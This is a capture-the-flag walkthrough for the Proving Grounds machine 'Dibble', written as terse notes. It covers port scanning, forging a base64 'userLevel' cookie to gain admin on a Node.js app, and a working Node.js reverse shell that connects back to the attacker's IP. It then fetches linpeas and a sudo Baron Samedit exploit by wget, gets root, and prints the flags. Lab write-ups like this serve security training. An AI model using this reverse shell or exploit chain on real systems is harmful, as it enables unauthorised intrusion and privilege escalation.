

tags: Offsec PG Practice Intermediate Linux # Dibble

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.110 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.110:80
Open 192.168.172.110:22
Open 192.168.172.110:21
Open 192.168.172.110:3000
Open 192.168.172.110:27017

PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| _Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.45.245
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.3 - secure, fast, stable
| _End of status
22/tcp    open  ssh      syn-ack OpenSSH 8.3 (protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.46 ((Fedora))
| http-methods:
| _ Supported Methods: GET POST HEAD OPTIONS
| _http-generator: Drupal 9 (https://www.drupal.org)
| _http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
| /index.php/comment/reply/ /index.php/filter/tips /index.php/node/add/
| /index.php/search/ /index.php/user/password/ /index.php/user/register/
| /index.php/user/login/ /index.php/user/logout/
| _http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
| _http-title: Home | Hacking Articles
| _http-server-header: Apache/2.4.46 (Fedora)
3000/tcp  open  http     syn-ack Node.js (Express middleware)
| _http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
27017/tcp open  mongodb syn-ack MongoDB 4.2.9 4.2.9
``` Check `http://192.168.172.110:3000/`, First `Register`, log in Check F12 can `userLevel` `default` !
[Dibble_1.png] (picture/Dibble_1.png) `admin` base64log in `userLevel`, can `New Event Log`
```

```
(kali㉿kali)-[~/pgplay]
└─$ echo "admin" | base64
YWRtaW4K

``` NewEvent Log node.js reverse shell \(https://www.revshells.com/\), login can /home/benjamin get local.txt
```

```
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(3000, "192.168.45.245", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp3000
```

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
[benjamin@dibble ~]$ cat local.txt
4e1e9acacf5f6a80c9555f5366037fdf
``` `linpeas.sh`
```

```
[benjamin@dibble tmp]$ wget 192.168.45.245/linpeas.sh
[benjamin@dibble tmp]$ chmod +x linpeas.sh
[benjamin@dibble tmp]$./linpeas.sh
```

[+] [CVE-2021-3156] sudo Baron Samedit

Details: <https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt>

Exposure: less probable

Tags: mint=19,ubuntu=18|20, debian=10

Download URL: <https://codeload.github.com/blasty/CVE-2021-3156/zip/main>

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: <https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt>

Exposure: less probable

Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10

Download URL: <https://codeload.github.com/worawit/CVE-2021-3156/zip/main>

---

```
[benjamin@dibble tmp]$ wget 192.168.45.245/exploit_nss.py
[benjamin@dibble tmp]$ python3 exploit_nss.py
[root@dibble root]# cat proof.txt
53ad21ace76c0466849216eecdfe3c99
```

---